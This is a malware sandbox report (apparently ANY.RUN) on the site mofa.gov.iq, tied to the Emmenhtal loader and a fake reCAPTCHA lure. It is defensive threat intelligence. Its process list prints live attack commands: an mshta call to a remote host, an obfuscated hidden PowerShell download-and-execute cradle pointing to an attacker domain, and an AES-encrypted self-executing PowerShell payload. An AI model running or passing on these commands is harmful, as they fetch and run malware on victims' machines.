| URL: | https://mofa.gov.iq/ |
| Full analysis: | https://app.any.run/tasks/3ab58cce-7a91-4390-980b-a1091124a312 |
| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
| Analysis date: | December 16, 2024, 19:04:02 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
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| Indicators: | |
| MD5: | 3AC5498A4351D33FF2356079E5C6691F |
| SHA1: | A753DE25E687579D6E517101D7429A90B82433AF |
| SHA256: | 87A1EC36F2626820EDF299A1083ED75F7E28D7F422AD1E6E2D5F5CCBAE2119F2 |
| SSDEEP: | 3:N8hRUK:2IK |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 1540 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5004 --field-trial-handle=1948,i,6929293008207717205,9406263933283140138,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
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| 2088 | "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://brit.mindful-journal.shop/alisa.png';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke() | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2432 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3480 --field-trial-handle=1948,i,6929293008207717205,9406263933283140138,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Version: 122.0.6261.70 Modules
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| 2436 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x22c,0x230,0x234,0x228,0x238,0x7ff81819dc40,0x7ff81819dc4c,0x7ff81819dc58 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
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| 2828 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3760 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4504 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --disk-cache-dir=null --disk-cache-size=1 --media-cache-size=1 --disable-gpu-shader-disk-cache --disable-background-networking --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction,OptimizationHints "https://mofa.gov.iq/" | C:\Program Files\Google\Chrome\Application\chrome.exe | explorer.exe | ||||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
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| 5392 | "C:\WINDOWS\system32\mshta.exe" https://solve.jenj.org/awjxs.captcha?u=a72335e9-a122-4621-8837-b9b2c9e0c468 # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7578'' | C:\Windows\System32\mshta.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
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| 5464 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5800 --field-trial-handle=1948,i,6929293008207717205,9406263933283140138,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
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| 5868 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function dmOv($HHdNM){return -split ($HHdNM -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$GBzi = dmOv('B693FFBF7A060F56FBBCAE8CE88B257F84F442EE8B95427C275AE63E7D69C7597740370019E4339B28D30198734C601900C8DAEAB1EEE71BE84475B1934A240728951A62FDA998D6E6C4EBF49348EC0744CDC1514363764C2184A74EFFD3216756393C23336DBF2DD8C465A510ACAFEE7F62691E6E99B399D27A12130CCD26E07AE49E73592CBD196691CFB762F6F8B01686867DF3C9787CCC21294DAB4E2045C9239FC2CE2D835AE91E3E87EDA55B25765A0A79887540181F808EC3FC8AC7245EC842BB8760B925E622AC945DA4E53F2851A4CC5CCABB93BB11559EF93B23CDA96847C6654BED2019ABDB2A3B1FC5B39045214EEA3F3A47A19A52FA8E42614E09C16E84BE2EC0544784E8A32DFE11567CCAC6C161203B5F3FB8385BE0DE8159A92A563F0DBF91C6F5D1E8D337D1DF748544FFF36E9B0729031BCFD2B847565C5749A76AC7D8654A34DC60C8DA4A028759FAD505399509817D774EF7514124380C863EA15423B4940A09FCDB29A142A95A0E601B04F30BF8BDD2D6C1513D3371AE7573B52750059CFD5BDEB5820A8A65E5E92CB99D95211C8FFFB1AFE0D610D53AC1B764681DF77FAD36E1266F9A7E3155A57BDE68EDD8E4F1B14059E881E3410A5EB6731156D7A4B86B449966F15197DB72797260508461560C4D1282AECC21876E5CF9433F2F57E1E5FC3125188D6F9CD13D378121F7089ACD4089BCEC6B9199569F3C577CC348C311D56BEDBE453964FB013791EB8B7F709455DDDA018CBFE8E626E7D521278F328C758EA00008424ECC889E8A79EB27E59F1861632CAD34273CDBF04937BB15169A520BF966A90E0D5A5D12919F526C854836F995316D8C1555CCB9B51EC2CC9127030C533C165218DACD1C98757BB0FBCE4831F99C582B190F13E957FAA05EC10C699E802915467EED946256C51869944123A938CC6D9D2A778B8E7EE5C5FEA9D1456417AEAEA2DB4BBD714E1C9F1CD6A31D057C82FE26E4930580F91AE80226AD99AFC5D45040FFE601409EA1D290E642B8EE724457D4CAC7DA0A9A11074B9988D8ADF074E3FAEC7877565A1C4138D4A4226B427F92EAA0D469BF091C9142C262A5EDE9651206BC6FE91BC1B11FFF1D371AA8277E28AB0E4344A3FF4547652C9A25C129C39912224F841197F359A164581087CC0D2BD4408C56C657C7C9380AF304D38C7B3B68CC223DD58846FA479338C4B76241AB850F3710440C21F1105B6D7F36EAB89FBC28851C18EA9EB343C0B2512E17A4D1C7C69CFD4171E7BB8133C4F46550EC4EB02109BE501D521538F03B8605ADCD1C6E693CC90952B5CF3D90EDEC5863781BFC4F3D953428ECB380640EE66CA4AEF59FBA774DFADB4A0ED2FA1D951A2C69E14EF913EDA4F8E4C1DCFF9C1B92DE802ADD03D5B3A0328FF228AD5CE67D060927B42DED4EFE7D07AD8C77B9C75F630DB4C372F771EFF4A6D73BBE9FF7BBB47223FEE497C5E02230CBD03091024602C6171CFC9792DEE15C1EEA9CCE1A62B7E4D08603791770687F5914BC15B01009FF709BD56906616A7252574EBD01A68EDA817FDB9C2B0E5667A0AE5E29B7A74A3BBEAD7DF8BAB2CEBC564424CAF1C51CF1A77A33E0ABA58CDE71C3466DA2A748C6EA93AA08B9B56DC1C2937B04CC82DC07E1D7FE855D9054748B5FDED610758944826A22C5B4C6CA52C9E81339827631C79D1ED60EF0571EAD9A26B8BA0815E7C98AC0074240047807630B43A43489EF5D2B5521032D5B0814385880DC9FD9A923420193E38B42D82B1777F67DCD648EC0143C5DFC388AF778FA2FC2E6CE786C316855C9BC3CAC2E4F3A7E6197DEF3A22CB45D344EFFCA669E284FFED336A20AE91C4561149BC53190AFC86EC78F5C51C6DDB50C5BEDB27D0166FB24EB62C3B566563C20B08433869469DBF91A6A7A6C93A1EA0F835A28B655CB28EB00C30293A5AF00AE9E5C956371A2BAB5A06B12326074F5EEC07E6C8BB857E1AD6145773CC3D76FA8BA114CC5D1768A44C3067BAF7416F7969EA12F468C61C6380C3CA7217A7A9535A38E87AC09693AADB60FEE62A16A22E73082D7BDCA734E62DCB90AFF0AB95FAB09B55B02768D694411E4E38960D23BD3F911D98D6E8F32636CCBFDA118C6E0CC8123039D594C22187333746636A9A684198A0AAF56EA20688A81AC2490D7BDC10C583601EC54B560F711400D3E59EDE4F39324B9FF40878FB570B15463BFCA2B04ABD72373811B31D0ED32E8A947AAE2079C0C6DCE246AA774B67EEDD7E77575F48BF8A455AD522910A20377CCD5A50A0DC31B168D60875D6CF0D9ACFA8511B8DE12038529E9C20674EEF819133917877ED6E3906C42D8679DC1B3EFE64976ECEFD304298D8DBC30F0DF3991C0E585F83883CC63D6782E1AA30593BA1C08B9D5A19A17E2EEFEC69CC14B9515C824CE7CD68A9AC201A02D109A93A9C51BE76AD47F1A7C579C8CF4E8226FDF7F086486');$BiMmA=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((dmOv('536C4544474446596253715A6E57476C')),[byte[]]::new(16)).TransformFinalBlock($GBzi,0,$GBzi.Length)); & $BiMmA.Substring(0,3) $BiMmA.Substring(187) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96} |
| Operation: | write | Name: | usagestats |
Value: 0 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\PTimes |
| Operation: | write | Name: | C |
Value: 63A341B6ED4FDB01 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C |
| Operation: | write | Name: | C1I |
Value: 1 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C |
| Operation: | write | Name: | C2I |
Value: 1 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C |
| Operation: | write | Name: | C7I |
Value: 1 | |||
| (PID) Process: | (4504) chrome.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C |
| Operation: | write | Name: | C1S |
Value: 1 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOG.old~RF136c88.TMP | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOG.old | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old~RF136cc7.TMP | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.old~RF136cc7.TMP | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RF136cc7.TMP | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old~RF136cc7.TMP | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 4504 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1684 | svchost.exe | GET | 200 | 2.19.198.75:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 2.19.198.75:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.19.198.75:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1684 | svchost.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5064 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6076 | svchost.exe | HEAD | 200 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/ku7gan6jxul366ndwxdzffms2m_3054/jflookgnkcckhobaglndicnbbgbonegd_3054_all_hc5dgibgjsqzvtaeun7qrzqwvu.crx3 | unknown | — | — | whitelisted |
2928 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4712 | MoUsoCoreWorker.exe | 2.19.198.75:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1684 | svchost.exe | 2.19.198.75:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 2.19.198.75:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
1684 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4504 | chrome.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
mofa.gov.iq |
| unknown |
accounts.google.com |
| whitelisted |
fonts.googleapis.com |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
a.nel.cloudflare.com |
| whitelisted |
www.google.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
6228 | chrome.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
6228 | chrome.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
6228 | chrome.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
6228 | chrome.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |